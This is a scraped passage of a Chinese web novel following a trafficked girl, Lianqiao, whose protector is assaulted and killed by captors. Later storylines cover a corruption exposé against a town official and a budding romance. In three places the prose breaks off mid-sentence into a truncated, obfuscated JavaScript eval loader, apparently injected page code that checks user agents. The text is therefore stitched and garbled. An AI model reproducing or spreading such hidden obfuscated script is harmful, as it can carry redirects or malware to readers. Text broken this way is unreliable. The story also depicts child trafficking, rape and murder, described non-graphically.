短发女生是这些女孩里年龄最大的,自然懂事许多,她一直在努力做好一个姐姐的角色,从被拐卖的第一天开始,就处处照顾着所有人,包括连翘。 她不去问连翘疼不疼,感受如何,只是默默地从衣服兜里轻轻拿出一朵连翘花,递到她的面前。 “你看,这是我在逃跑的路上看见的,第一天见你的时候,你说你叫连翘,我就立刻想到了这种花,我爸是医生,他说这是一种药材,可以入药。连翘妹妹,你不要害怕,我相信可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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据说,由贲诸负责运输的这一批女孩是挑选出来的上品,外形条件好,原本打算将这批“上等货”卖给一些有钱买主,卖个好价钱,清流镇是之前约定好的交易地和中转站。 只可惜计划有变,原来的买主全都暴露了,被警察所控制,他们自己都岌岌可危,无奈之下,贲诸只好想别的法子。 买主找不到,这些个女孩留在手里也是巨大的风险,警察就在外面找他们,带着这些女孩跑路也是拖累。 于是,贲诸干脆一不做二不休,把她们转卖给孟老歪——也就是专门做器官交易的,手段更“黑”。 上等品不愧是上等品,男人瞄了眼短发女孩,似笑非笑地把门关上。 短发女孩心慌又激动,顾不上男人刚才说了什么,而是一门心思问连翘,“你刚刚说的到底什么意思?我们有机会逃出去了是吗?” “姐姐——” 连翘盯着眼前的短发女孩,“等会我顺着这条通道爬出去看看,如果出口通往外面没有被人堵住,我就回来带你们一起走,如果出口外面有他们的人守着,我迟迟没有回来,他们不会放过我,到时候你就……” 连翘把自己脖子上戴着的吊坠取下来挂在她的脖子上,绳子上系着的是一颗价值不菲的蓝玉髓,“我不知道我这样想对不对,但可以尝试一下,说不定那人口中所说的买主到时候看到这玉吊坠会选择买你,买走总比被送去活生生解剖强,姐姐,你一定要小心,这是唯一活下去的机会。” “那你呢?” 短发女孩拉住连翘的手腕,她相信如果出口是安全的,连翘一定还会回来,但如果出口不安全呢?有人把手在那儿呢? 这些人发现她还在想方设法逃走,什么事情都做得出来,连翘会有致命的危险。 “姐姐,放心,我没事。”女孩打小就是这种刚硬的性子,有什么事儿都敢第一个往前冲。 “我一定会平安回来带你们一起逃出去。” 她只希望老天保佑,出口那里千万不要有人守着。 其余的女孩闭着眼睛在休息,没有注意到连翘悄咪咪缩进地下通道去了,她们再醒来的时候,便是齐磊带着新的买主进屋来选人。 光头男掂量掂量手里布袋子装着的一半押金,笑着开口。 “可以嘛,看不出来你一个赌鬼,手里居然有点钱。也是,买个娃回去以后给自己养老送终也挺不错,是吧?” “田永贵儿。” 48. 第 48 章 田永贵笑笑,忙说:“是是是。” 他抹了下自己还有油光的嘴,以前从未想过混迹在赌场上的他这辈子居然还会和人贩子打上交道。 不过为了那笔钱,他也能豁出去。 密室的门打开,齐磊带着田永贵走进来,“人都在这儿了,你自己挑一个咯。” 田永贵目光注意扫过蹲在角落里不敢看人的女孩,有些发愣。 这该让他怎么选? 他来的时候也没想到说手里的这二十万只够买一个回去。 齐磊看他一脸懊恼,笑哈哈开口,“不用急,慢慢选,还有时间。” 田永贵胆怯地点点头,虽然他是来做买卖的,但他这人也的确怂,无时无刻不在担心这伙人会突然在背后捅他一刀,拿钱跑路。 不过好在他的担心是多余的。 贲诸和齐磊做买卖,虽然手段黑,但该讲的信用还是要讲,否则以后就没人来上门和他们做生意。 他眯着眼睛,打量着缩在墙头的这些孩子,目光不禁停留在齐肩短发女孩脖子上挂着的蓝玉髓上,这东西一看就价格不菲,能卖个好价钱。 反正那人也没和他说遇到只能买一个的情况该怎么办,他就随便选,按着自己贪财的性子,指了指连翘的萤火虫姐姐,“就她吧,这小姑娘我看着挺不错。” “行,没问题。” 齐磊带着田永贵往外走,门再次被关上,“你先跟我去把剩下的尾款结了,拿了钱,他立刻就可以带着这女娃娃走。” “好好好。”田永贵低着头,点头哈腰笑。 — 这些人走后,密室再度恢复如死水般的平静,青色上衣的女孩坐在对面,盯着连翘的萤火虫姐姐看了许久。 突然,她站起来走到她面前,踢了她一脚,“凭什么选你啊,别以为我看不出来你和那尖牙利嘴的死丫头在合伙密谋什么,这唯一活命的机会,该是我的!” 她一把拽下短发女孩脖子上的蓝玉髓吊坠,握在自己手里。 短发女孩抬起头看她:“还给我!” “还给你?”青衣女孩高傲不已,“这东西现在是我的,有本事你来抢啊。” 短发女孩撑着墙站起来,因被殴打过,伤势还没好,双腿哆嗦直发抖,奋力去从她手里把吊坠抢回来。 这是连翘给她的东西,她要护好。 青衣女孩算是看出来了,这蓝玉髓果然是个好东西,难怪刚才的男人进来选了短发女孩。 她把短发女孩一把推开,“我要是去跟他们说——这东西原本是我的,只是我送给了你,你说那男人会不会就会重新选择买我?” “还有——你那尖牙利嘴的朋友呢?我怎么没看到她?我记得外面的人也没进来把她带走过吧?”青衣女孩往前走朝她逼近,“难道——这里有暗道?” 她又一把将短发女孩推开,蹲下去仔细寻找是否有玄机,可是被稻草掩盖的潮湿地面什么都没有。 短发女孩倒在地上,支撑着坐起来,垂下眼眸盯着她,“我还巴不得真有一条暗道呢,只可惜,我们都在做梦。她被人带出去了,是你自己睡着了没看到。” 青衣女孩确认这里的确没有暗道机关,有些失落,她把蓝玉髓项链关在自己的脖子上,“可别说我欺负你,谁让大难临头各自飞是个亘古不变的道理,我只想拼尽一切让自己活下来而已,只顾得上我自己,救不了你们,不好意思了。” 等到男人过来领人时,她打算就按计划做——说这条项链是自己的。 短发女孩想去把坠子抢回来,可是青衣女孩站起来用脚踩住她的手,一下又一下,好痛。 忽然,门被打开,候在门口的伙计挂着钥匙走进来,“嚷嚷什么呢,能不能安静点。” 他的视线落在短发女孩身上,心里的歹意燃烧更旺。 对面的男人打趣,“你还盯着看呢,这女孩被刚才来的买主看上,马上就走了,精虫上脑的东西,能不能把你欲望收敛点,这就一小姑娘。” “小姑娘怎么了,你没试过还不知道什么滋味呢。”伙计看对面的人一眼,“喂,要不你帮兄弟我看着点,我解决完就出来。” “你来真的啊你。要是被贲诸知道了,当心掉脑袋。”对面的人感叹道。 “你不说我不说,谁会知道?” 二话不说,腰间拴着钥匙的男人拐了进去,抓起短发女孩拖到另一个角落里。 她全身皮肤白皙,像个瓷娃娃。 “干什么,放开我——” 短发女孩慌了神,知道自己没办法挣脱,她看向青衣女孩,向她求救。 青衣女孩也被男人突如其来的举动吓到了,她连忙退后,眼睁睁看着短发女孩眼里的恐惧不断放大。 其余女孩也害怕不已,围在一起缩在角落里,不敢吭声。青衣女孩跑回这群女孩子身边,埋下脑袋,装作什么都没看到。 “救我……” 被男人死死按住的短发女孩眼泪无声划过脸颊。 她看着屋子里的同龄女孩,想不明白为什么所有人都当做无事发生,沉默得很坦然。 屋外守着的另一个男人背对着大门,屋子里传来的痛苦嘶吼声和男人狂笑的声音交织,一起汇入他的耳畔。 他听得心痒痒,“你快点,完了我也来试试。” - 令连翘欣喜的是,这条暗道的确可以通往大楼外很远的一块油菜花田。 她还不知道脸上有伤疤的女人是谁,居然能做到如此人不知鬼不觉,挖出这样一条隐蔽的暗道。 当初的她就有想过未来可能会发生事变,所以提前做足准备? 连翘也不知道。 现在的她只想赶快回去通知萤火虫姐姐还有被关起来的其余女孩,她们可以逃出去了。 生的希望再一次摆在眼前。 连翘钻进暗道里,往回爬,她一刻也不敢停歇,不停地加快速度,想要快一点,再快一点。 终于,她爬到了尽头,推开可以挪动的地砖,爬上地面。 “姐姐,我回来了,我们有救了!” 她的脸上洋溢着笑容,迫不及待想要把这个好消息分享给所有人,但同样也记得把声音放低,不让外面的人听见。 围坐一团的女孩在嘀咕:“她死了吗?” “看起来好像是死了。” 连翘的声音响起,所有人回头,诧异又茫然地盯着她以及她身下的地洞。 有人站起来大呼:“快看!那里有暗道!” 一时间所有的女孩都朝连翘脚下的地洞扑过去。 连翘的笑容慢慢凝固,她不懂,为什么没有看到她的萤火虫姐姐,她人呢? 当所有女孩朝另一个方向跑去,连翘终于看见刚才被遮挡的视线里,躺在墙边一动不动的短发女孩。 她的衣服被撕烂,东一块西一块地掉在地上,衣不蔽体,身上除了旧伤,还有新添的大大小小的指甲印,脸上也红肿不已,红红的巴掌印是那么刺眼。 “姐姐——” 连翘惊慌跑过去,难以置信地看着短发女孩躺在自己眼前,可是却一动不动。 “姐姐,醒一醒,你怎么了?” 她的眼泪就像骤然变天降落的雨,潸然落下,用手指去探呼吸。 呼吸是停止的。 “姐姐……” 连翘的眼泪汹涌,无论她怎么喊,怎么去摇她晃她,她都不再睁开眼睛。 她跑到其余女孩拥堵的角落,抓住一个女孩问:“她怎么了?好端端的她怎么死了?” 女孩回答她,吞吞吐吐,“就……刚刚外面的两个男的想□□她,她一直反抗,男的打她,一失手,掐她脖子,就……” 连翘拽住女孩的手放下,空洞地盯着昏暗角落里的女孩,她开始自责,如果她刚才没有丢下她,自以为是一个人跑出去摸查情况,是不是她就不会这样了? 青衣女孩瞪了连翘一眼,“死都死了,还看什么啊。” 连翘木讷地挪动脑袋看她,青衣女孩脖子上的蓝玉髓格外乍眼。 她失魂落魄出声,“她的坠子,为什么会在你这里。” 青衣女孩傲慢不已,“我拿过来,就是我的。凭什么唯一可以被买走活下去的人是她啊,就因为这个昂贵的坠子吗?人不为己,天诛地灭,我要做这唯一可以活命的人。” 连翘目光扫过所有人,“刚才她被欺负,你们为什么不出声,不帮她?” 青衣女孩代表众人开口,“你疯了吧,我们帮她?你是嫌我们死得还不够快是吗。” 连翘不理解,不明白,她心里好难受,就像有人拿着刀在割她的肉,一刀又一刀。 所以……是她害了她的萤火虫姐姐吗? 她以为这样至少可以护着她一点儿,可是这坠子却给她引来了杀身之祸。 她万万没有想到自己的好心居然会让她遭受别人的嫉妒,在生命垂危之时,被所有人冷漠相待。 连翘回到短发女孩身边半跪着,牵起她的手,把自己放在兜里的萤火虫玻璃瓶重新放回她的手里。 短发女孩的手是无力的,她便紧紧攥住她的手,让她握住玻璃瓶。 她悲痛地流眼泪,却还不敢发出一点儿多大的声音,“对不起,对不起……” 躺在地上一动不动的女孩就像跳动的火焰,在她的心上烫出一个洞,窟窿洞里填不满愧疚。 见到有通道,关在密室里的所有女孩全都按奈不住跳下去,这是她们可以逃生的唯一机会。 连翘半跪在短发女孩身边,低着头,沉默着,一言不发。 那边的女孩有多喧闹拥挤,她这边就有多凄凉寂静。 没多久的时间,其余的女孩全都跳进暗道里去,不见了踪影。 连翘还守在短发女孩身边,默默陪着她,没有要走的打算。 她还在懊悔,如果她没有自以为是离开,她的萤火虫姐姐就不会受到欺负,也不会在孤立无援的时候无人救她。 她想,都怪她,她是个罪人。 房间的门被打开了。 齐磊带着田永贵进来领人,却看见屋子里除了这两个女孩,其余的人都不见踪影。 “TMD。” 光头骂了一声,跑出去叫人,踢了两脚守门的人,“我让你们看着,你们就是这么给我看着的!混蛋!还不带人赶紧去给我追!” 守门的人吓得连滚带爬,“是是是,哥,我们这就去。” 齐磊重新回到屋子里,目光落在已经死了的短发女孩身上。 不久前田永贵才选了她,现在人却死了,他自己也不知道该怎么给他交代。 “这……” 田永贵心有余悸,他知道这些人什么事都干得出来,但没想到…… 齐磊摸了下自己的光头,心里还对女孩们逃跑一事愤愤不平。 “抱歉了兄弟,这次是我手下的人没管住他们自己那尿性,没办法,现在人已经死了,你另外再挑一个吧。” “我还有得选吗,其他的人也跑了,现在这屋就搁这一个女娃。看她这浑身脏兮兮的就不是什么大户人家的娃,算了算了,也能将就。” “死丫头,跟我走。” 田永贵走到她身后,去拉她。 但连翘不为所动,她还想守在短发女孩身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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厨房上锁,被关起来,她出不去,更找不到办法救剩下的人。 再后来,警察到了镇子里抓人,当初相关的涉事人员被抓走,但贲诸和齐磊却跑掉了。 镇子里的人都站在街上看热闹,对着被带走的人指指点点,他们议论的时候,连翘听到了他们的对话。 所有的女孩都无一幸免,被卖去挖了器官,全部死去。 小女孩站在人群里一动不动。 这些议论的话犹如晴天霹雳打在她的头上,她感觉到自己好像从这个世界分离了出去,张不开口,迈不动脚。 她目光空洞,盯着脚下的马路,像个傀儡,失去了魂。 也许差一点,死的人就是她。 她想,也许,她才是该死的那个。 往后的无数个日日夜夜里,连翘在午夜梦回时,总能看见当初一起被关在同一间屋子里的女孩站在她的面前问她:“你为什么不救我们?凭什么你一个人逃走了,而我们要被活活解剖?” 连翘从梦里惊醒,害怕地环住自己的膝盖,蜷缩着身子,可是她一闭上眼睛,脑海里又会立刻浮现她的萤火虫姐姐一动不动躺在冰冷阴暗的地面的样子。 她是愧疚的,自责的。 她是苟且偷生活下来的那一个,她也是无数次发誓一定要抛下过往重新开始人生的那一个。 她告诉自己必须不择手段努力逃走,努力活下去,远离这个噩梦小镇,可是她也常常质问自己是不是早就该死在那个冰冷无援的夜晚里。 只是她不知道,当她得知所有人死去的消息,站在街道上惶恐不安,愧疚不已的时候,另一条街的路口,有个小男孩也在愧疚于她。 - 时钟走动发出滴滴答答的声音,连翘走出房间,看着在客厅沙发上睡着的李空山,轻轻走到窗台边,伸出手摘下一朵盆栽里的淡黄色连翘花。 在很多年前的一个夜晚里,她手心里的连翘花曾有过短暂的呼吸和跳动,只是后来随着短发女孩的离开,手心里的连翘花再也没有了生命的气息。 她的萤火虫姐姐送给她的连翘花,今夜算不算重新回到了她的手里? 连翘别开眼,抑制内心的情绪,十年来,她从不敢让眼泪流下,今夜亦是如此。 “怎么了?睡不着,做噩梦了吗?” 不知怎的,明明没有任何声音,可是睡梦中的李空山像是听到某种呼喊似儿的,忽然醒来。 他睁开眼,穿上拖鞋走到连翘身后。 连翘摇头,不敢回头看他。 不敢让他看见自己这幅“背负着罪恶”的面孔。 李空山无言,手搭在她的肩上,把她转过来,抱进自己怀里。 他那双有力的手按住她的背脊,给她无尽的安心和宽慰。 “尧尧,从我第一天见你的时候,我就知道你心里装了很多事,你的心总是比常人沉重许多,有些时候,我甚至感觉这份重量好像要压得你喘不过气来。” “我虽然不知道能为你做点儿什么,但我想告诉你。” “不要怕。” “我在。” 连翘忽然红了眼眶,眼泪无声从眼眶中奔流而出,那是她憋了十年的眼泪,带着愧疚,又带着痛苦。 “李空山,我害了人,害了好多人……” 她的声音颤抖,尾音带着哭腔,胸腔随着她的难过上下起伏。 李空山紧紧抱住她,他的怀抱让她觉得无比温暖,就好像寻觅多年也迟到多年一样。 “尧尧,别难过。我们的尧尧不会害人,那只是一个噩梦而已,一个过去了很久的噩梦,等梦醒了,任何可怕的事情都不会再缠着你。” 49. 第 49 章 某条街巷里,小海穿过一条又一条巷子,甩开赵家的眼线,跑到巷子尽头来见李空山。 李空山从围墙上跳下来,拍拍手上的尘土,“怎么样?” 小海喘气,调整呼吸,自信满满,“哥——你放心,就我这功夫,甩他们十条街都不是问题。” “算你有两下啊。” 李空山把手里的U盘和录音笔交给小海,“所有的东西都在里面,你等会儿出去的时候,假装回家,找个机会避开那些人,把这些东西交给过几天坐车下来的那几个官儿。” “明白。” 小海掂量掂量手里的录音笔和U盘,“哥,当初赵旭摩一直揪着你不放,到处惹是生非跟你过不去,就是因为你手里有他们家的把柄,但是具体是什么,这小子的爸也没告诉他。咱们这次出手,他们赵家算是会彻底完了吧?” “不一定。” 李空山气定神闲,深知棘手的事情远不止这一件。 “什么意思?”小海好奇凑上去问。 “真正最难对付的不是赵书誉,而是他那弟弟,赵本奇。” “行了。” 李空山用手指弹他脑瓜子,“你注意安全,一路小心。” “哥放心吧。不过……我还有件事得告诉你。” “什么事?” 小海挠挠脑袋,来的路上他一直在想为什么,但怎么都想不明白。 “就是有关赵书誉贪污修路的公款的证据,我拿到手的时候,多问了下那人,他居然是赵本奇派来的。” 小海情绪更加激动,“哥,我还真就想不明白了,这赵本奇知道我们要去曝光赵书誉的秘密,他怎么还在背后帮我们?赵书誉不是他哥吗?他们两兄弟干啥呢?” 李空山看着小海,只说了简简单单一句话。 “因为他背后的秘密——更多。” 小海临走的时候,李空山又叫住他。 他想起连翘昨晚在他怀里哭时说的那些话,总是莫名很担心。“等这件事办完以后,你让刚子和孟河带着手底下的兄弟再好好查查田永贵的事儿,比如——他是哪一年把连翘接到他家里去的。” - 过了几天,巡查组按计划乘车来到清流镇检查治理状况。 作为镇长,赵书誉一路陪同着上面来的人查看镇子的方方面面。 巡查组的人问赵书誉,周围乡镇的马路修得如何、独居在家的老人的生活是否有保障,赵书誉毕恭毕敬回答,对现如今清流镇的治理情况和结果赞不绝口。 巡查组的人看着打扫得干干净净的街道和马路边不苟言笑的居民,许久未开口。 - 赵婉婉找到赵旭摩,恳求了半天,“旭摩哥哥,你必须得帮帮我,你看看我的头发,都被那些人弄成什么样了!” 赵旭摩坐在窗边的大理石桌子上,笑着打量赵婉婉取下假发以后跟男孩子一样的乞丐发型,笑得合不拢嘴,“哎,赵婉婉,你还别说,你现在这个发型还挺别致,说不定那里面有人以前在理发店干过呢,有点子专业。” “旭摩哥哥!” 赵婉婉气得跺脚,站在赵旭摩面前,“我可是你堂妹,难道不帮我出这口恶气吗!还是说——你不敢?你怕李空山,怕黑武会?” “谁说我怕他们了?” 赵旭摩懒散坐着打圆场,弓着背,不以为意。“我那是不屑于跟他们斗。” 他拉起自己的衣袖,露出手臂给赵婉婉看,“看见没,上个月才缝的五针,跟李空山打架打出来的,你觉得我怕他?他是个不要命的疯子,我虽然惜命,但我赵旭摩就是不怕他李空山。” 赵婉婉盯着赵旭摩:“那你为什么不能帮我出气,好好收拾他们?” “你一个丫头片子懂什么。” 赵旭摩变得更正经些,对赵婉婉解释,“平时小打小闹就算了,没必要把事情闹大,他背后的势力是黑武会,得罪了黑武会和他,对我们赵家没什么好处。” “可……” 赵婉婉刚开口,赵书誉就直接开门走了进来,一声招呼也不打。 他神色匆忙,走到赵旭摩和赵婉婉面前:“婉婉,你赶紧回去通知你爸,千万不要打草惊蛇。旭摩,你给我听好了,无论他们问你什么,你都说不知道。” “啥意思啊爸?” 赵旭摩不解。 忽然,房子的正大门被打开,巡查组的人带着村民来到赵旭摩的家。 “谁啊?” 赵旭摩准备出去,赵书誉将他拦下,“你们好好待在屋子里,没有人找,就不准出来!” 房间的门被关上,赵旭摩和赵婉婉两人都不知道发生了什么。 巡查组的人带着证据找到赵旭摩,未修路村子里的村民和贪污款银行转账证据皆在。现在他没什么好说的了。 他被带走,接受检查。 赵旭摩说什么也要冲出去拦住他们带走自己的爸爸,赵婉婉把他拉住:“旭摩哥哥!你清醒点儿!现在不是冲动的时候!” 接到通知,赵本奇从后门进入屋子,停在二楼,从窗户看出去,目送赵书誉被人带走。 终于,他扬起一抹久违的笑。 赵本奇来到赵旭摩的房间,挡在门口:“够了,旭摩,你还想在胡闹到什么时候?你现在跑出去闹,只会给你爸爸添乱,这几天你好好待着,哪儿都不要去,你爸爸的事儿我会想办法。” 赵旭摩渐渐接受现实,不再挣脱,眼睁睁看着赵书誉被带进车里,自己却无能为力。 他捏紧窗沿,咬紧牙关,眼里充斥着憎恨。 李空山和小海并排走在路上,得知赵书誉已经被带走接受检查,两个人心情畅快。 小海感叹:“哥,这蛀虫终于走了,以后来个一心为民的好官,咱清流镇能慢慢发展起来吧。” “说不定,但愿如此咯。” 李空山隐约听到身后有人在喊自己的名字,回头望去,果然见赵旭摩握紧拳头站在不远处。 他怒目圆睁,瞪着李空山。 李空山不以为意,轻描淡写地开口说:“哦……是你啊,我还以为是谁呢,怎么,你爸被抓走了,你不去看他最后一眼,跑到我这里来做什么?” “李空山,你在咒我爸是吧!” 心中带着气儿,赵旭摩跑出楼,上来就想给李空山一拳。 李空山偏头,举起手接住赵旭摩这一拳,阴鸷地盯着眼前的人,“你爸贪污那么多钱,这是他应得的下场。如果不是他,周围乡村的路早就修好,建到一半的学校早就建好,老人家也不至于每天踩着泥泞小山路来镇上卖菜,小孩子也不至于七八十个人挤在一间教室上课!” 赵旭摩怒吼道:“那也是我们家的事!关你什么事,你以为你是谁啊!” “我是这儿的人,我就有权举报!” 赵本奇匆匆赶到这儿,拦住赵旭摩:“你在这儿干什么,快跟我回去。” 赵旭摩一边挣脱,一边恶狠狠地盯着李空山。 “你等着,李空山,我早晚会报复你!” “来啊,你来。我等着。” 无所谓的李空山摊开手,表情满是不屑。 待闹事的赵旭摩被赵本奇带走以后,小海好奇地凑到李空山面前,“哥,我觉得还是有点悬,你以后得小心点,我怕赵旭摩那奸诈小人真的会在背后搞你。” “怕什么,他敢来,哥就敢整他。” 李空山心高气傲,从来不把赵旭摩放在眼里,以前是,现在是,未来……说不准。 “哥,我觉得你还是太好心了。”小海想了想,一本正经补充:“你看啊,明明赵旭摩也知情,而且他还差点……你大可以把他一起举报,弄进去。” “那我还不是想着最后给他一次机会。尧尧说了,任何人都可能犯错,但如果知错不改,那就再也不能放过这个人。所以,他下次敢再乱来,我绝对饶不了他。” - 赵婉婉劝完赵旭摩以后,从他房间离开,轻轻把门关上。 赵本奇已经在外面等待许久。 神情悠然。 赵婉婉一脸担心,她看着赵本奇,“爸……我们赵家是不是真的要完了?” 赵本奇招手,唤她过来,笑得像毒蝎,“婉婉,你胡说什么呢,我们赵家绝对不可能完了。” 赵婉婉迷惘地抬起头,有那么一刹那,她忽然觉得眼前这个父亲好陌生。 她想起那日他主动把她交到李空山的手里欺辱,看着他此刻的笑,背后不禁一阵寒栗。 - 说要对楼巩的妈妈好,魏可萱说到做到。 这天她一大早就起来,向花店老板娘请了一天假,特地准备去医院看楼巩的妈妈,替楼巩照顾她。 魏可萱站在镜子前端详自己,今天她特地不再打扮得花枝招展,换了身简单干净的蓝色裙子,扎着双低马尾垂于两肩前,任谁看了,都以为这是邻家的妹妹。 确认自己这身打扮还算满意后,魏可萱便提着早就准备好的礼品出门。 她来到镇里的区医院,走入住院部的楼,向值班的护士打听谢女士在哪间病房。 护士给她指了指右手边的走廊,“你直接过去,302号就是。” “好,谢谢啊。” 魏可萱两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏可萱把手里提着的礼品东西全部放在床头柜子上,站得规规矩矩解释,“不是的,阿姨你误会了,我只想好好跟你们相处,从来都没想过要毁掉楼巩,我巴不得他越来越好,怎么会想把他毁掉……” “我当初说得还不够清楚吗!我们楼家绝对不会要你这种女人,你跟我们的楼巩保持好距离!” 躺在门口病床上的妇女被这争吵声所吵醒,她坐起来,靠着枕头,仔细打量,“哟,这不是楼巩那小女朋友吗,谢女士,你怎么跟你儿媳妇吵架呢。” 谢女士偏头,愤怒地直视妇女,“她不是我儿媳妇,更不是我们家楼巩的女朋友,你不要在那里胡说!” 妇女当谢女士嘴硬,人在气头上不愿承认,继续打趣道:“怎么就不是嘛,那天我下楼去超市买东西,还看见你们家楼巩和这小姑娘手牵手走在路上,可甜蜜了嘛。” 魏可萱瞪大眼睛,盯着妇女一脸无奈,心想,阿姨啊我求你别再说了…… “什么!楼巩那臭小子居然敢骗我跟你没来往!” 谢女士先是震怒,随后有突然大口呼吸起来,手捂住胸口,仿佛绞痛。 “阿姨,你怎么了!” 魏可萱着急,手足无措下,连忙跑到门口大喊:“医生!护士!你们快过来看看!” 医院楼下,魏可萱垂头丧气坐在长椅上,两条腿漫无目的地晃着,怎么都开心不起来。 楼巩朝她走来,坐在她身边,递给她一瓶水,魏可萱不解。 一向不苟言笑的他此刻却突然轻轻笑了下,“怎么了?还在想我妈的事?” 魏可萱望着他,沮丧地点头,叹息说:“对不起,我又把事情搞砸了……” “不用说对不起,你没有搞砸,更没有做错任何事。相反,我还应该感谢你愿意不计前嫌来医院看我妈。” 楼巩摸摸她的脑袋,自此那天夜里坦白过后,他终于能放下心里的重担,像从前一样待她,和她说心里话,想她的时候,也可以毫无遮拦地直接告诉她。 而不是一味地自己憋在心里,像个闷葫芦。 魏可萱靠在他的肩上,“你说……你妈妈是不是永远都不会接受我?” “当然不是。” 楼巩揽住她的肩膀,宽慰道:“我妈这人啊就是刀子嘴豆腐心,别看她嘴上说得那么决绝,其实她也只是出于担心而已。” “我当然知道!” 魏可萱突然坐直,满满的元气又重新被她攥在手里,她握紧拳给自己加油,信誓旦旦,“我相信在我的坚持下,你妈妈一定会感动我的执着,慢慢接受我!” 楼巩点头,笑着注视她的每一个模样,“反正我现在就相信。” 50. 第 50 章 正值四月。 清早,连翘洗漱完毕后,帮李空山盖好他夜里踢开的被子,等检查完锅里保温的早餐还有温度后,她便背上背包出了门,赶往学校。 等到门一关上,李空山立即睁开眼睛,从床上跳起。 他用右手摸了下刚才被连翘摸过的脸,嘴角带着甜蜜,感叹道:“哎哟哟,你说你这人也真是的,想摸摸我就直说呗,还悄咪咪的,不好意思哦?” 正当他还在回味的时候,门被打开。 连翘忘了拿月考的卷子,重新上楼。 听到开锁的声音,李空山立即缩回被子里躺下,假装无事发生,闭上眼睛装睡。 他的心砰砰直跳,好险…… 差点就被发现了。 连翘拿起书桌上的试卷放回书包,走之前瞄了眼躺在床上睡觉的李空山,有些纳闷,他今天睡觉这么这么安分? 两只手还拽着被子,像个乖宝宝似儿的。 连翘关门走出去。 李空山重新坐起,总算松了一口气。 差一点就要被发现。 简单收拾好以后,李空山出门,时刻观察着路前方的情况,生怕连翘又重新杀个“回马枪”。 他之所以这么小心,其实只是害怕连翘知道以后担心。 昨天小海来消息说,宇瑞爷爷家的屋顶瓦片被大风吹烂,漏了一晚上的雨,老人家半夜爬起来拿桶接水,忙活一晚上,没睡个好觉。 而宇瑞呢,自从跟着赵旭摩混以后,便再也没和李空山来往,更没有回过家。 这下赵家出了事,赵旭摩自然更顾不上手底下的人,把他们晾到一边,不管不问。 虽然李空山对这个无情无义的宇瑞不想留任何情面,但他的爷爷毕竟是个老人,不管出于什么身份,他都有责任和义务搭把手、帮帮忙。 一大早,李空山就带着小海来宇瑞的爷爷家修屋顶。 他肩头扛着三根重达四十公斤的木条,用空出的左手和爷爷乐呵呵打招呼,宇瑞戴着手套,挑着一担子新瓦片跟在李空山身后。 两个人把东西放在老人家的门口。 老爷爷从板凳上起身,蹒跚的步伐篆刻着岁月的痕迹,他拖着步子,一脸和蔼走到两人面子,笑着迎接:“哎哟,我都说你们不用来,我找隔壁家的二牛帮我修修就行,你们何必麻烦呢。” “欸,爷爷,话可不能这么说。” 李空山放下肩头的木条,“以前我们可是来你这里蹭过不少好酒好菜呢,今天你需要我们,我们哪有不来的道理。” 老爷爷说:“你们先放下东西歇歇吧,我们这儿没打马路,不通车,你们只能走过来,还扛着这么重的东西,肯定累坏了吧,我去给你们洗点儿水果去。” “爷爷,不用麻烦。” 李空山拉住老人家,真诚开口:“我们从小就爱到处跑,这点儿路累不着我们,你坐下好好休息吧,我跟小海这就去帮你补屋顶去。” 小海接着开口:“就是,爷爷,你以前对我们那么好,我们现在帮点儿忙应该的。” 李空山找到楼梯,爬上屋顶,开始忙活。 小海扶着楼梯,问坐在一旁的老人家:“爷爷,宇瑞最近回来看你了吗?” “没呢。” 老人叹一口气,“也不知道他在外面干什么,吃得好不好,穿得暖不暖,你说他以前跟着你们好好的,怎么就突然跑到去和赵旭摩那种人鬼混呢。” 小孩愣了下,支支吾吾,不知道该说什么好。他看向上方,“哥,你好没?” “还没。” 李空山站在屋顶上,探出一个脑袋往下望,“再给我递三片瓦。” “好!” 就在小海弯腰去拾瓦片的间隙,连通院坝的小路外突然走来一个人。 是他回来了。 宇瑞愣在原地,看看小海,又看看屋顶上的李空山,不明所以,“你们怎么在这儿?” 正在挪瓦片的李空山停下手中动作,瞟了下方的宇瑞一眼,当做没看见似儿的,叫小海继续干活,把瓦片递上来。 …… 屋顶补好以后,李空山脱下手套,拍拍身上的灰尘,准备带着小海走。 宇瑞犹豫半天,终是站了出来,挡在两人的去路上,“谢谢你们。” 可他始终不敢抬头看李空山和小海。 “没什么好谢的,我是在看你爷爷的面子上才来的,又不是因为你。” 满不在乎的李空山绕开他,继续往前走。 宇瑞犹豫再三,又叫住他,“哥!之前是我对不起你,我不奢求你的原谅,我只希望你听我一句劝,以后不要再去惹赵旭摩了。” 听到这话,小海直接恼怒,转身呵斥宇瑞:“咋的,碍你眼了还是你心疼啊?哥看不惯他,凭啥不能去动他?宇瑞,你现在人在赵旭摩那儿,心也在他那儿了是吧。空山哥以前对你挺好的,你的良心咋就被狗吃了呢。” “小海。” 李空山背对着两人,声音加重,“别说那么多,我们走。” 宇瑞没听进去小海的话,只是一个劲儿地对李空山说:“我劝你不要再去惹赵旭摩,不是因为我怕你们闹出点什么,而是担心你。” 这一次,宇瑞终于鼓足所有的勇气走到李空山面前,“你举报了赵旭摩的爸爸贪污,他以后绝对会报复你,他这个人就是畜生,什么丧心病狂的事儿都干得出来,哥,我不想你有危险。” 李空山冷着一张脸,面无表情看着他,待宇瑞把话说完以后,他只是轻轻地抬起眼皮,轻描淡写道:“他是疯子,我比他还疯。我做事轮不到你管。还有,宇瑞,你已经不是黑武会的人了,不用再叫我哥。” 李空山提脚就走,小海紧跟其后,经过宇瑞时,小海拍拍宇瑞的肩。 “其实吧——以前哥也想过拿你当过朋友,谁让你一门心思算计身边的所有人,算计着哪一天才可以登上你想要的位子,你对人没有真心,又怎么让空山哥一直把你当朋友呢。有时候,有些东西错过了就是错过了。” 宇瑞怔怔立在原地。 